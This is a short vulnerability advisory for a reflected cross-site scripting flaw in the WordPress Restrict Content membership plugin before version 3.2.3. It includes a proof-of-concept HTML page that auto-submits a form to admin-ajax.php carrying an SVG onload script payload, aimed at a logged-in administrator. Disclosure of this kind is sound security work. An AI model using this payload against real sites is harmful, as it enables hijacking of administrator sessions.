WordPress Plugin Vulnerabilities
Membership Plugin - Restrict Content < 3.2.3 - Reflected XSS
Description
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Proof of Concept
Make a logged-in admin open a page containing the HTML code below.
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="text" name="action" value="rcp_ajax_dismissed_notice_handler"/>
<input type="text" name="a" value="<svg/onload=alert(/XSS/)>"/>
<input type="submit" value="submit"/>
</form>
</body>
